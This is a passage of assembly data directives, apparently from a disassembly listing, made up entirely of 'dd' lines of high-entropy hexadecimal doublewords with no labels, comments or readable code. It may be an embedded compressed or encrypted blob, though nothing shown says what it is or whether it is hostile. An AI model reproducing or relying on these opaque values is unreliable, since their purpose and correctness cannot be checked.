		dd 10BC50ECh, 7EFA9200h, 0AAD0B8B3h, 80A6392Bh,	11582289h
		dd 61E2E090h, 0BC4AB01Fh, 0A52D6B82h, 185091h, 0E9237F9Eh
		dd 0F2598C3Fh, 32A60096h, 0E10041A6h, 3D425015h, 200E5AB0h
		dd 1F3E598h, 76016E75h,	0BA309151h, 0D8216C16h,	0B5C1582Ch
		dd 20C6B1DAh, 2E266A90h, 3809CCD1h, 3349116h, 1CA4E0D3h
		dd 6EEF019Eh, 21A7F126h, 5083097h, 0E872DF02h, 40B0C214h
		dd 6E397368h, 70E3C0B6h, 0C1D447C4h, 7328BAB4h,	0F1950078h
		dd 0DBCD2CE1h, 651B0373h, 0D9E9A96Ch, 74F4210Fh, 0E0FB00B1h
		dd 3ACFE471h, 0DB22AAC4h, 31A9C504h, 60C342E6h,	9C03823h
		dd 168DF481h, 10B1ED90h, 30D8BA5Bh, 0A9112D15h,	0D2078B75h
		dd 27861441h, 4482DDF2h, 0BF9003Ch, 0D61D4B45h,	0C600E93Ah
		dd 0A47F540Ah, 12577AFDh, 1FDD8123h, 66FCCF00h,	1CBBB900h
		dd 56039CEEh, 7A942D53h, 44804AACh, 4079F248h, 3BB2D9EAh
		dd 13EF0041h, 7105C59Ah, 4E0E6FEEh, 0C509BE86h,	1C0851D8h
		dd 17DF8066h, 7804C2Dh,	9821D61Ch, 0D20BCF80h, 2B9860Ch
		dd 83617CECh, 80C01F9Dh, 0B32DC903h, 1CC908Eh, 0A5BB0114h
		dd 9E0D45D8h, 0E080FA02h, 29F7A9A7h, 4D9F1700h,	341FC1CDh
		dd 0AC825053h, 8C060E8Fh, 87808916h, 0A1FBE85Eh, 0ED2D9FF0h
		dd 0C6D011D9h, 348355CCh, 0C071F481h, 0B3343ACDh, 0A70041F6h
		dd 0A2427D95h, 5C8D31FCh, 0ED80988Eh, 20C51EEBh, 704B3500h
		dd 2E9566BBh, 84B92433h, 0A96A0420h, 300C89FBh,	80F8FEBCh
		dd 0FD3240h, 39912CEAh
		dd 281B5588h, 0F0DA48h,	0B61D97Bh, 4F72040Dh, 8B88002Eh
		dd 70AFB0AAh, 412F7E33h, 0E0788Dh, 0B5E0EE5Ch, 0D8040ED9h
		dd 7B9C8014h, 483ACC14h, 0CF3C2699h, 0A5D860C0h, 4109A601h
		dd 4480C442h, 8ADA03DCh, 0FEC2F17Fh, 305DC1F9h,	82002A8Ch
		dd 0C1DE49Fh, 3BD19B7Dh, 0F4986C57h, 0AFF5397Ah, 0DF33BC0Eh
		dd 461BA086h, 98B246Ah,	7A8C309Dh, 72BBF780h, 2B6117D9h
		dd 5BC573A1h, 6ED43BD1h, 8B92009Bh, 8266D406h, 14A01259h
		dd 910069B9h, 0F694C334h, 38CD5711h, 988348B3h,	9FADF04Bh
		dd 2F73D904h, 1480CE64h, 9621E9Ch, 0F394ABBBh, 7C1C4C10h
		dd 204ECD00h, 228FE92Bh, 0FB50FC8h, 472F24BCh, 433A7F60h
		dd 18099515h, 44A4E485h, 4D3D00ECh, 91991E55h, 0E01C6DDEh
		dd 0F780E11Bh, 0FDAD6825h, 0EB349031h, 27B48310h, 7F164490h
		dd 2846FA75h, 21A913h, 0A2E441E8h, 7A3BB85Dh, 0CC207902h
		dd 0E675326Ah, 67D01D40h, 0F8AA42C4h, 14C6286Fh, 0A9B31D03h
		dd 0C9E653C7h, 0E5600A04h, 4C227159h, 9E758CBEh, 7F803944h
		dd 5A03AA6Fh, 471BBCC2h, 80612A12h, 77A1CC6h, 2109DE69h
		dd 553B6089h, 393CC926h, 851497D4h, 856CB80Bh, 5C810804h
		dd 7FF48288h, 7B80F678h, 8190165Eh, 26F1E54h, 0F4BFA5E4h
		dd 0F33900C4h, 6B1D8085h, 68172B34h, 63820989h,	5D00E4ABh
		dd 19777D09h, 111A5127h, 270F66Ch, 0C3405885h, 676B5500h
		dd 0DECE7650h, 0B12A3200h, 1DA0661h, 0D9020028h, 0E308626Dh
		dd 0AE4CEFA2h, 1E3E1208h, 8D207C30h, 909B074h, 0F22ECCA6h
		dd 172500E8h, 4CE69700h, 24788763h, 19FA000Ch, 0AB5A65Dh
		dd 114C1E64h, 6D9B8020h, 107C29EAh, 7C2C5C70h, 7E6ADA00h
		dd 79E1D2F7h, 89789C72h, 70692E04h, 14EC8F02h, 4912EB18h
		dd 0E33070ECh, 321F004Eh, 674DCE20h, 8B3C0A3Fh,	0A0122709h
		dd 0D133FE68h, 0CF4804CCh, 0B0727ED3h, 0C1C7A74h, 1067445Dh
		dd 0EA3BB970h, 2E9F0553h, 0C00E7358h, 1A679A38h, 0C9E4910Bh
		dd 3B84480h, 10B2A654h,	85C81F0Dh, 5E3EF0D7h, 0C83B2927h
		dd 0AFC01280h, 0B7A7D65h, 0A93FED35h, 45597500h, 0EF166F79h
		dd 0C4231811h, 7C4CB8A6h, 0A5080099h, 0A7F0294Fh, 540ED91Eh
		dd 0EC5628A3h, 32AAC091h, 6B9FFFBh, 9D0034E6h, 8747F077h
		dd 997FE9h, 0D2215D83h,	446C7091h, 0AE82192Dh, 4C460374h
		dd 62A2FA0Ah, 78F2B7h, 4F254B9Eh, 0CB1C208Ch, 7968D40Ch
		dd 2482407Fh, 4584180Bh, 0B17BC05Ch, 0C300A6B5h, 3DDB1283h
		dd 48E1D744h, 791DA442h, 1B2BC965h, 767B1C10h, 13C0A595h
		dd 7C7DD420h, 0CEA502E2h, 31BA4854h, 918024E6h,	0E8078E38h
		dd 0D579F677h, 0DC8A8607h, 5073D640h, 996C04D9h, 82763355h
		dd 0FF2E67A4h, 376F9400h, 1D3B619Dh, 0F8FEE3Eh,	12C03CE2h
		dd 0B097B5D8h, 0AD99E907h, 59DCD7AAh, 80D89415h, 0F144E5F9h
		dd 0B800D367h, 18D64EF0h, 0A86589h, 0F53E3340h,	0A99C9635h
		dd 3F78BE00h, 7E95E8Bh,	1FB805C1h, 0B4D6A85Dh, 0D94EF444h
		dd 10ECEC22h, 6E2C9A7Dh, 0E440B08Dh, 7EF1C12h, 8CEB07Ch
		dd 0E287A0E0h, 149939AEh, 7E2BCB83h, 1E43C0BAh,	44CD021Fh
		dd 179F12DAh, 0E8866080h, 2F1DF0ADh, 5A03D268h,	0FA619811h
		dd 2A9060E9h, 67750346h, 918C2D36h, 0BFE373A0h,	10048725h
		dd 0A5E638h, 6DF20182h,	75AB40E9h, 0C2208004h, 8C88F3BAh
		dd 0F8EB004Bh, 9050AAA6h, 7A07A5AEh, 0E12F74D3h, 1F0941E1h
		dd 0EC60C060h, 793A0828h, 61802D80h, 0C9AC8B31h, 5A702D8Ch
		dd 82E3C91h, 2071487Bh,	8761DB82h, 2FE8B463h, 0C93CD0DFh
		dd 0A69C04BEh, 0E4C005EFh, 987134h, 607CD66Fh, 877D1937h
		dd 8553Ah, 0E07F62D9h, 4BD68A23h, 571E8010h, 0EEE8648Ch
		dd 9D0B08B8h, 0C9DAB3EDh, 5F10653Ch, 980E9CBCh,	0E0B0200Ah
		dd 5908F0A0h, 7AB7DA2h,	0EA3FFF6Fh, 0DBD7D025h,	2407D4AEh
		dd 74490EDAh, 0B6D573A0h, 79D33C23h, 80D15937h,	9408E0DAh
		dd 0CD408C9Eh, 0A024C6h, 4AC716FAh, 464F4733h, 7A6E7C00h
		dd 13C2FB75h, 1047FE2h,	9CE4866Dh, 4C6F262Bh, 842F98h
		dd 0CEC7C3F4h, 0B0339138h, 0BEE9FC39h, 0AFD78095h, 47BD6308h
		dd 190BE81h, 7DD10AD9h,	7E79D48Ch, 0A891C8B1h, 4E93273Bh
		dd 817A1CE1h, 86181EB9h, 54FADCh, 0BD368240h, 0F14F1D57h
		dd 1C285673h, 2ED4E834h, 2CADE85Eh, 0CFCC0040h,	49A8E9ACh
		dd 19AEB201h, 737F5B87h, 475F848h, 0E9A2C825h, 0BA15812Bh
		dd 838C68AAh, 0F08C02CDh, 54F4FA9Eh, 41B8062h, 54500E78h
		dd 4412C17Bh, 28B0702Fh, 92BAC407h, 19207203h, 0C4FD7D79h
		dd 409B12E1h, 5CDF7E5Fh, 0DD033F30h, 6DAD017Dh,	0BEDE1AB4h
		dd 40F42042h, 0D095F416h, 31169E04h, 0FC8050A8h, 238784E3h
		dd 0E8F324F6h, 0AE586B4Eh, 198A012Ch, 0DAEEAADFh, 627BC180h
		dd 0A3C477EAh, 9543D00h, 17D0B1DBh, 0E180A831h,	0C9810043h
		dd 0F1592E2Ah, 300A4ACh, 91223B80h, 703471h, 6E877B4Ch
		dd 0CC9FB05Bh, 1DA7D603h, 0E143079Ah, 0B02D8D62h, 0A3957702h
		dd 0ACC682BEh, 0B6C4E900h, 886A5D93h, 0F4143EB9h, 0FBA96C0Ah
		dd 0C02746B4h, 0EE86381Dh, 6BBC8900h, 9C50A22h,	1C673356h
		dd 59078C79h, 0DCA1AFE8h, 44F2F9AEh, 0BDEA241Ch, 3E1201C9h
		dd 0CF7A20A7h, 2578EB0h, 6174C509h, 7884D28Dh, 0D426013Ah
		dd 0B0DC2BFFh, 331DCAEh, 55CF3C01h, 60BE3011h, 731470h
		dd 18BDF0C0h, 2B200E31h, 846E2F24h, 44E2C64h, 0E0C4A4B2h
		dd 636FB500h, 0D30D3FAAh, 0B814B682h, 0CA19B080h, 11A90ED2h
		dd 9BF66E00h, 0E85B4A6Ch, 10AE6BBh, 987EA677h, 6217B4C6h
		dd 0D25008Ch, 0A01C8633h, 0A13D581Eh, 49F07F00h, 0EAE2B7D8h
		dd 10DC8B50h, 47B81860h, 4D4B044h, 0EDB48CD5h, 634089ACh
		dd 0AA7400B8h, 9287BC0Eh, 0EA320963h, 44641513h, 25A5D400h
		dd 0EB7E6DAFh, 8CF54C7Ah, 5F605C30h, 7100A96Bh,	0BDFBBB6Ah
		dd 48DE6C60h, 3B24C448h, 85E038Ch, 71978C66h, 8012879Eh
		dd 137599A0h, 0B10C7Fh,	0A31FB7E9h, 5387AFE4h, 9720213h
		dd 11475430h, 0CFF8000Ah, 4A5D37E3h, 8B002F76h,	0C4DBBC20h
		dd 3A64CC07h, 74809D6Dh, 0CF246CCAh, 97F8812Ch,	1EBF9B18h
		dd 0B1D678h, 953185Bh, 7E8516BAh, 4274412h, 5F81D401h
		dd 202AC81Fh, 0AE501984h, 0E6051100h, 0BD9042D4h, 0EB630178h
		dd 5116F239h, 8FCC4815h, 2D89B80Fh, 6586A04Eh, 5007960Fh
		dd 0F558F4Ah, 0E48B22B6h, 260BD960h, 8F5C0928h,	80585C8Dh
		dd 211F656h, 708E4C88h,	8FEC3480h, 0D00BE5B9h, 907D7BAEh
		dd 602204E8h, 0C202A956h, 0D61DB708h, 304B7E99h, 243005F5h
		dd 0E410D402h, 514C60B8h, 409C946Eh, 0E3B3D3BDh, 9926E4E8h
		dd 150594BAh, 88004405h, 0B1208A37h, 6D4A0AB9h,	608CBC01h
		dd 5DEC2B89h, 45478700h, 3ED5167Ah, 139F00D8h, 26F16376h
		dd 9302702Bh, 0EF11877Ch, 4D0D9AFh, 80D663FCh, 4CA46E0Ch
		dd 5AAC0AC3h, 0BA6A8078h, 6C70268Bh, 0BE0300B8h, 0C8F55237h
		dd 1718C300h, 0C7FCD926h, 34660468h, 0B484ED9Fh, 270014F0h
		dd 3E153C74h, 1813F71h,	2BFCDA54h, 2D119522h, 795300F4h
		dd 0DBE14B02h, 0CA07022Dh, 7EAEC217h, 0C8106CE2h, 0A502FAC4h
		dd 8F1BC761h, 916200Ah,	9A00AEC1h, 0C6B3FA19h, 0AFDD2Ch
		dd 521237A4h, 8BFFB6B7h, 0F40C7812h, 8A5834D0h,	91EE12EDh
		dd 0E880C974h, 0AB0EE449h
		dd 0EEBAF117h, 0E26B01B0h, 8832E0AAh, 39B1C300h, 2BE88EDDh
		dd 0E091822Ch, 0F9007911h, 548DA2F1h, 0C375A349h, 0D6C9500h
		dd 984CE2C1h, 44F890A6h, 0C00DCADh, 0D00DDA25h,	17E96C7h
		dd 0B662475Ch, 0A7A212AEh, 6E941878h, 4718BE90h, 0C821AF20h
		dd 0E0BF6C9Dh, 5102FC41h, 6D0F90D0h, 0A8F216h, 0D823C701h
		dd 7C0BE4E3h, 614F9E00h, 29BCF9D9h, 576324B5h, 0EB6E07FCh
		dd 6FDE80EAh, 0D4B917F5h, 9C84E039h, 4BD7AA06h,	4FD088E8h
		dd 6F08F289h, 7900E571h, 1AEAB147h, 3DD69ACCh, 3E0CE18Eh
		dd 0E02962F3h, 9FBAAB00h, 86972835h, 6BC70603h,	61F081BCh
		dd 9EE88D00h, 535ABA83h, 0AA3D0042h, 443AFA96h,	3314C161h
		dd 228F25Fh, 0F132284Bh, 787440ECh, 9758B66Ah, 488207Dh
		dd 7109927Ah, 5A81AE20h, 0DF1C0088h, 6F0BD78Ah,	537CC627h
		dd 18D31001h, 17977574h, 0E4004C69h, 0E6DE4A1Eh, 8315B7C3h
		dd 5885BBh, 94077509h, 1CD59CECh, 0C0E67B1Eh, 7F8D33D9h
		dd 910719C8h, 8BD87A79h, 0D031BDA5h, 57EC4DDCh,	0C4702C0Eh
		dd 7F270016h, 3DE6AC9Ch, 8E3E013Ah, 0A0E0C362h,	0AA829584h
		dd 89089C58h, 6C181478h, 0E10A0839h, 84956DE5h,	0F8008612h
		dd 97F9D6Ch, 7D4107ACh,	0C0312CCCh, 7E63DDD5h, 0B5DE7300h
		dd 0D47980E2h, 3C8C0059h, 71A39752h, 0D9387CB2h, 0DA1F06B1h
		dd 2E50B5AFh, 4E2C8EFCh, 0EB2A27C0h, 2B13BA97h,	6C044A76h
		dd 0E8C0FFD3h, 0E3C7F2Dh, 285573F1h, 45B8D560h,	7E1CB44Eh
		dd 0F4268D15h, 0D88BBC0Ah, 0E0F29A12h, 0CFB1C400h, 0C3C13C65h
		dd 0A0BD8F4h, 0E816F0C9h, 91B03Ch, 51A7A307h, 8B1F080Dh
		dd 0CC0079ECh, 749CE910h, 0BD15483h, 0EE04BBECh, 0ABB83480h
		dd 64B1F380h, 0DE323D00h, 358FE60h, 6D0A726Eh, 7DB89478h
		dd 730A2205h, 0CD065F2Ch, 8F186804h, 459CE4h, 213F497Bh
		dd 0E9A9BA1Ah, 7917C109h, 92C4576h, 6680DBF5h, 0F3B93FCAh
		dd 0DD0C7D01h, 120EC542h, 0BC2CAFD1h, 5760998Fh, 8C985021h
		dd 1258D675h, 24141D04h, 0D9A6EF00h, 441526Dh, 0EDA7D760h
		dd 20B8CC87h, 2EE8F49Ah, 0CCF3BB24h, 13C68049h,	16C8806h
		dd 0D02CB541h, 0F4B7DBE4h, 0FA52AACEh, 1058E8h,	0BB8C72F3h
		dd 506332Bh, 0EE14F5DAh, 924B3AFh, 72F3D7FBh, 821F0720h
		dd 200BD2ACh, 0E674E364h, 0A49E4200h, 270D0913h, 0AB67754h
		dd 0DEE57EBFh, 0E4642594h, 0E02731EEh, 3B2749Fh, 0E6EFA970h
		dd 949153h, 0D6AD9D8h, 7AC2B9h,	0D1EB8FC9h, 432CEFADh
		dd 0C8013201h, 0D93D7D55h, 80B474FAh, 0BE1BD75Dh, 8EB84E65h
		dd 0DD9CC509h, 0B8009082h, 19EEACh, 266F68C3h, 180A1389h
		dd 0AA97250Bh, 20717Bh,	0C05F8594h, 67508FD1h, 0E0B0394h
		dd 462D2BACh, 24F7E060h, 3802FF5h, 8C94C598h, 65626D80h
		dd 0A76A7900h, 15C2037Bh, 0BED50170h, 1C9698A8h, 7C36305Dh
		dd 0A9AD6013h, 3BCCE889h, 672A0056h, 5ADD7610h,	0C73DBF18h
		dd 0DEBB0072h, 8B53386Eh, 0D0B95887h, 517F4800h, 0D3CED973h
		dd 1D82E48h, 2DDA8F20h,	6B919Ch, 1F889045h, 0C000A27h
		dd 0FA79B892h, 8D5C23h,	0FE578586h, 0BD966893h,	4915D00h
		dd 0FF01F5E3h, 58BC070Eh, 0D041023Dh, 2B6E3663h, 3F003472h
		dd 9037F6CDh, 1C3069EBh, 8018D67Ch, 86EFF129h, 40CE13C9h
		dd 0CF66A06Ah, 0DFE65A5Eh, 79B50050h, 1141E5BAh, 0F4691D00h
		dd 9BE160EFh, 0F617EAABh, 0FF28C006h, 46BECB8Fh, 0F3EA4700h
		dd 0FB19D202h, 3E2B2C79h, 7BFC01E6h, 0B9EC1D42h, 26A90031h
		dd 0D6CC443Ch, 313874A2h, 0E779F586h, 0D5299C05h, 406709h
		dd 0E21A56F0h, 776CFE02h, 0A5920085h, 96F60C16h, 7C006B39h
		dd 0D3608DABh, 0C382677h, 0BF82E641h, 610057E1h, 0E17CBD9Fh
		dd 15EA9D8h, 2A3F93DFh,	8119954Bh, 0BA300E40h, 48831F20h
		dd 0CE272378h, 857F413Fh, 3AEE5177h, 0A5627AC0h, 9C94003Eh
		dd 176E04AAh, 0C1C1E459h, 70AB0CD4h, 44D6FCh, 6B491543h
		dd 7367DC96h, 822EEA07h, 1CB60F97h, 0CD2730E9h,	0A1DC8469h
		dd 0BDFCE100h, 38EF8A90h, 0AAEC0010h, 0CCA32285h, 1E88E092h
		dd 0C041C01Bh, 4A8874ABh, 0B17B4600h, 0F5105FACh, 0C32800E4h
		dd 70625089h, 5510FE45h, 677FF05h, 5A653725h, 800051E3h
		dd 0BD3F10B3h, 1DDD13Eh, 0F1AC79C6h, 0F0195FC3h, 2F0AB07Ah
		dd 0DC20B410h, 48FE8803h, 0D9510014h, 0E75D197Ch, 0CC18C57Bh
		dd 0D859F78Eh, 0D75E0089h, 0C79301A9h, 0B9C0021Fh, 4710D2F9h
		dd 1AA00084h, 4F20D860h, 0E1302822h, 0F0B85811h, 85420173h
		dd 0CD59622Ch, 921ED825h, 6011A05h, 600158C8h, 4178FA19h
		dd 0B21CF0h, 9B6766E0h,	0C415F2F8h, 0AB369D0Fh,	283802ECh
		dd 2AB8A0D5h, 3298746h,	0BCE2DE03h, 82D8EB66h, 714810E6h
		dd 0B5D98058h, 0C8FC32B4h, 1E8CE7D8h, 3D722104h, 0A09E4FCBh
		dd 97E48007h, 0CB9F673h, 0BE926B04h, 30C3598Fh,	0CDD4A890h
		dd 7C5206C9h, 896101A3h, 0F90FBC7Ah, 62DECC2Eh,	60F2D989h
		dd 3CEE0Ch, 16E88FE2h, 7CFA1C79h, 0ED64A578h, 4640FE80h
		dd 0B2033ED5h, 88C90103h, 0C8891258h, 7FC0F7A0h, 0CCF050E0h
		dd 84CC11BFh, 90E412FDh, 0EFAF9020h, 73180626h,	59EDC710h
		dd 0C1608C00h, 5B3EDD7Ch, 75BE00C9h, 0A6B17F05h, 2F481CD7h
		dd 0DC5C01F0h, 0D39DFDD6h, 2A684AD4h, 0E0E228h,	3285ACBBh
		dd 0AD3159E1h, 0EF008276h, 0AE92F454h, 186EA91Fh, 89D42867h
		dd 0E1EAAFF2h, 91ACD01Ch, 842BDE40h, 7AE7F943h,	34C448BFh
		dd 23DC71Ch, 2938CDDh, 41370C77h, 5A2E0915h, 0B9842984h
		dd 0F55480B8h, 64249FEh, 8DB14A00h, 3D2F0D31h, 0CCE8C870h
		dd 8CF57B29h, 5D05BD91h, 282EFF2h, 73105C08h, 0D6120C44h
		dd 98007F36h, 3269F158h, 1F911B5Eh, 71004CF0h, 3DB64170h
		dd 0A6C593h, 19C79287h,	0A7FA0D4h, 4638C8F4h, 9528F7F5h
		dd 8A006429h, 894BC285h, 9D69C09h, 276968E7h, 21C38C10h
		dd 0A300B27Ah, 96896AE2h, 7F24FE71h, 902E0760h,	925459C4h
		dd 2440F115h, 99012CA0h, 0F73230D3h, 49F05D04h,	5B9E0EAAh
		dd 0DF6068B3h, 5E3789B0h, 0CC302D04h, 7488F27Dh, 0F8CF88EDh
		dd 3531B900h, 8D37F75Dh, 96740087h, 0E9915C33h,	0FF0C3DFDh
		dd 0A9E3284Eh, 0F31748BBh, 9A491A00h, 6311B07h,	0E58C400Bh
		dd 4CC80B9h, 0A8B4C9h, 7463E08Eh, 92E30EA1h, 46EC5D03h
		dd 0F00AC64Dh, 3CCFE4h,	0B806A873h, 16C9A615h, 9200657Ah
		dd 6B746E0Eh, 0F8F68A9h, 6D1ACB86h, 80FB1CE5h, 1EEE9CA9h
		dd 0C8BF3B06h, 31953Dh,	0FFDB3F77h, 0C9EFA588h,	980FDEE2h
		dd 46FE6C04h, 77289FD0h, 0FFB30092h, 0A08ACCD8h, 7005FDCh
		dd 0D5D4632Bh, 3C69117Dh, 0E718DB02h, 66A1581Eh, 0DDC1BA00h
		dd 0D4EADEF4h, 500C001Fh, 0B4189327h, 0F1006CB2h, 5401FD45h
		dd 0F04920C5h, 0D9CF01D2h, 8D9EC79Fh, 9684516Fh, 718AE0AFh
		dd 14E911C0h, 8966EF7Fh, 0CB723013h, 0A9900F00h, 5625F16Dh
		dd 9694071Ch, 312D3075h, 0C3F01E81h, 0A26E3000h, 337F40Ah
		dd 54D50E88h, 4C4C9E95h, 402BC51h, 3E997964h, 0CE94A08Fh
		dd 12EAB66h, 0DF43A2E6h, 0D4490709h, 0F501D386h, 0DB875FAh
		dd 0D8806292h, 65A95AB7h, 1E18F0B3h, 94791DE7h,	3A8A3075h
		dd 0A3904560h, 0B0BA5814h, 0D4513AB8h, 9B074138h, 0FCB6EE43h
		dd 66149C70h, 0E353029Fh, 793D3060h, 96001446h,	0D464CC82h
		dd 0F032200Bh, 3D510087h
		dd 0E6F8F6ECh, 1EF41937h, 8002CA29h, 0EBF72007h, 0F74E75F3h
		dd 971547FFh, 0EDB094B7h, 6722A5F6h, 5E8AA0E0h,	885C0A82h
		dd 0B207208Eh, 9EBB40E5h, 0C0C0753Dh, 0E84CBD5Dh, 1A3E8DAh
		dd 4B44EA20h, 8168EC0Ch, 985FCCA9h, 0B9F7E5FBh,	3883D7E4h
		dd 433E92E9h, 7000F8B6h, 82E833C6h, 726B60h, 0D17E02DEh
		dd 8B058C4Fh, 0B5EBFD00h, 80625A9Bh, 288C9894h,	5C0A689h
		dd 0E1240A27h, 0E48C214Dh, 0EDB1D417h, 4C92E775h, 0CCA05C00h
		dd 22BAA935h, 0A2843FFAh, 43BB2300h, 87DDB34Eh,	20E91F6Eh
		dd 672492A8h, 0A30F0189h, 97D31004h, 0ED2020ADh, 0BC1FB400h
		dd 3ABF2FEFh, 84601E23h, 0C11607CDh, 826C946Dh,	90206854h
		dd 587A94FDh, 703D7E9h,	3B2004FEh, 6C993Dh, 366A0C45h
		dd 12D548F7h, 40873D95h, 0A3D4A508h, 0E40267C1h, 287FB90Bh
		dd 4C64407Ah, 0AF940090h, 975B5EC6h, 6B01E36Dh,	0E2DBF956h
		dd 0ABF0C984h, 3E678893h, 7A294700h, 0A1C022B8h, 0F0985048h
		dd 0C2DA075Fh, 0A1783F75h, 804A8E9Dh, 4E5B65B9h, 381B3511h
		dd 30E43D9Ch, 521480FCh, 9550B033h, 300011C0h, 2635172Fh
		dd 4E2D780h, 0DAF078B6h, 71E882D1h, 7FD44020h, 75E4241Eh
		dd 90FC63C8h, 5D035001h, 62EF8517h, 0DF9D3182h,	3BC12582h
		dd 0FEDBF0F0h, 67E13519h, 0B1C83C21h, 73290470h, 83954793h
		dd 0D888E340h, 0F1076AD2h, 9786692Eh, 5EF263D0h, 383749A8h
		dd 0C009E915h, 245FA2Ch, 69E40562h, 0DB980240h,	47619300h
		dd 530271FCh, 0D08064AFh, 9C288C7Eh, 0AB89180Eh, 81E8E0C8h
		dd 0C3F9ACh, 44233428h,	2B87CB33h, 1E489F40h, 0C3242D22h
		dd 0BD9907A2h, 0C11AC6D0h, 38DC403Ch, 15A906F6h, 0CB8D1F7h
		dd 9B283368h, 1307F4D0h, 89817924h, 0E47D6D80h,	1E0514A8h
		dd 0C480A4EFh, 0E3435A20h, 9366E902h, 40F1FCF5h, 5F95F0Ch
		dd 0BF164D95h, 0FAFE8796h, 7CE900E0h, 0D8FDF563h, 86712B14h
		dd 20CACEBCh, 0BAD16E78h, 3B19020Ch, 60E0BE3Ch,	93988F20h
		dd 0E31B075Ch, 0A023E5FFh, 830FC23Fh, 4B4DAD04h, 3C90963Dh
		dd 99C563Ch, 6FA6FAFCh,	0CCBBF084h, 79502EE8h, 72ECF5E7h
		dd 3D4F9100h, 7FD6AD3Fh, 0BC7D4Eh, 0B290DBDCh, 0AF386DB8h
		dd 0BDC91000h, 996708B1h, 508DE60Eh, 0A529476h,	15E8FF8Ch
		dd 0B0A080D0h, 0D2EE8762h, 961E0300h, 53C3E690h, 9C3E582Ch
		dd 0F55F6380h, 897E79C2h, 0A554A400h, 8858B0C9h, 0C71600E8h
		dd 7F95E301h, 0DA168687h, 5022809Eh, 0E988408Fh, 0C03D7C90h
		dd 0AD382B51h, 0FA1D925Eh, 71C75028h, 90D0155Bh, 26BDB137h
		dd 403488DFh, 8F8E685Dh, 0C3B8C600h, 1EE908FFh,	217760CCh
		dd 0EE67F09Fh, 0BB52A802h, 0C0C9871Fh, 90A4961Ch, 9D400CF8h
		dd 43888145h, 39068830h, 0D4EF0Dh, 0D5C2D0C5h, 5C15C73Ch
		dd 0B78C400h, 9D66B827h, 0C9706581h, 0F6A00077h, 0B6E83562h
		dd 0ED3C488h, 19815089h, 0EE69856Fh, 8090D404h,	73C4E930h
		dd 0F9943E30h, 5C030DFCh, 0F026C17h, 9C2D6D88h,	5EE1F460h
		dd 67149F50h, 117EBB00h, 3D424571h, 87DF18F7h, 5ECFB904h
		dd 0A3A92900h, 0DB180667h, 0C3AD1813h, 3887CFDh, 0DC009CA4h
		dd 8E67719Bh, 30CEFDFh,	95308328h, 0C10E12E8h, 4086E0C7h
		dd 1C79AFC6h, 0D49A01FFh, 0E14AF1C2h, 974E070h,	84306700h
		dd 38F380C7h, 0EFF50336h, 111C04F8h, 89244973h,	680E429h
		dd 0C5BEEE9h, 68AA2D46h, 0F507B05Eh, 312C1D04h,	0A8A00767h
		dd 42EDD361h, 0AC44E35Eh, 0DECE4B00h, 72C290E2h, 24A6B0ECh
		dd 40ACEFB8h, 4F3B9F17h, 0CD186A07h, 38A1310Ch,	0C760C9D3h
		dd 0A89B00B9h, 958FDE56h, 1D0F6586h, 0D7521F96h, 0E9BB9500h
		dd 39461E71h, 0A600F356h, 53B9B48Fh, 0D251DB15h, 31642190h
		dd 81B8086Ah, 8B407607h, 85B3AA6Ch, 0CB7DABA5h,	0E0D09A28h
		dd 91819C4Ah, 0ACAC78h,	4E4F318Ah, 0D648B956h, 504C2288h
		dd 268FAE34h, 1C0B28Bh,	172B853Ah, 125432CAh, 4478A3Dh
		dd 0CEC256D2h, 516B408Bh, 13AF2462h, 1AE060CCh,	0C900A241h
		dd 19221FC1h, 7CC700Ah,	61C077AAh, 93E4A029h, 0F3098357h
		dd 649F80h, 40314812h, 0EC5900A3h, 0D6D95DDh, 33025C24h
		dd 0E7964629h, 69D4A014h, 0B243D6h, 0D24752E8h,	0E97D4FB9h
		dd 0C8F0DF07h, 0A4432610h, 0F515E00Dh, 0B8620EA5h, 41380604h
		dd 9F24CE3Ch, 0C02C4F4h, 0E687F0A2h, 9BD100F8h,	0CC9912ADh
		dd 89603D55h, 0D5E3FED9h, 1788011Eh, 0E8C25067h, 1942095h
		dd 9F4029F4h, 287196h, 31D06376h, 40C973Dh, 935B7701h
		dd 0E8EE03E4h, 0B6004462h, 63274036h, 81A033EAh, 1A02100Eh
		dd 0DFA29002h, 0FE3044E1h, 0EF07334h, 0FC24380Fh, 0B502A9C0h
		dd 0CD13B9A8h, 400D7A3h, 9D546EBh, 23EF0AFDh, 40F0E0AEh
		dd 81C13255h, 5FC2658h,	0E654E84Eh, 0F7AA488h, 0E74B1891h
		dd 0FC66EF80h, 6901872Fh, 0F6E43E5h, 0E889A011h, 2423977Bh
		dd 9099518h, 809B4AA8h,	0ED1E58A8h, 987309B2h, 1C909E5Eh
		dd 8E1DAC5Fh, 2FB867Fh,	0E51E06B3h, 27492C75h, 50472894h
		dd 4F8DCEC0h, 340301B0h, 4ED65F45h, 1760E63Ch, 237A75BCh
		dd 818A7409h, 114C810Dh, 88D06D45h, 0F6E20009h,	0C0804D8Eh
		dd 7493DA6Eh, 0D10D013Eh, 47A890D3h, 485CE070h,	4516047Eh
		dd 0A94020E7h, 82008F7Fh, 14300395h, 15D611CAh,	800B44D7h
		dd 6EA37807h, 0B84E31BAh, 92D261E0h, 84303A18h,	0E555C1h
		dd 3B2BEF2Ah, 99DAE957h, 5EF7DD00h, 881B439h, 883D3070h
		dd 51509D31h, 0ACE03307h, 0D570AF79h, 0D0773BE2h, 4E0AC0E8h
		dd 809C1C88h, 0BCD6C9A0h, 0F77CABDAh, 0C000C99h, 0E043953Dh
		dd 1C58E462h, 0C10A3B41h, 61337412h, 282439A9h,	0D205951Eh
		dd 806511D0h, 84E65C0Ah, 0B8B17640h, 0E79D07A7h, 0F1F839h
		dd 0D39BFBFCh, 0E2F2F550h, 4574681Eh, 8E61878h,	0EC12F39h
		dd 0E509D880h, 0B06950E0h, 6700C988h, 531B0DC8h, 8744241h
		dd 0E752143Fh, 4BB38341h, 0E1AE2E4h, 0E6D39065h, 78509CC0h
		dd 2912FC09h, 1427AB61h, 0E05CC8E9h, 87DE0059h,	0D55B4437h
		dd 970347EFh, 7B32D383h, 84C8AC9Dh, 0D4284986h,	8581CE03h
		dd 27D8ECDBh, 0B0D5D22h, 3CF68F42h, 0F0EDA8DFh,	66940090h
		dd 0D014EF38h, 0B9787825h, 4204F5Dh, 95805E4Eh,	30739C4Fh
		dd 819E90B8h, 0EC114B60h, 4CFFA04Eh, 4D047097h,	0A0CFB3FCh
		dd 1715FE74h, 0E00586h,	0BE8E387Eh, 3F89422Fh, 7D00BA6Ah
		dd 0EB7965E2h, 85804FFh, 0F0D08058h, 0CAFCE16h,	9E7C792h
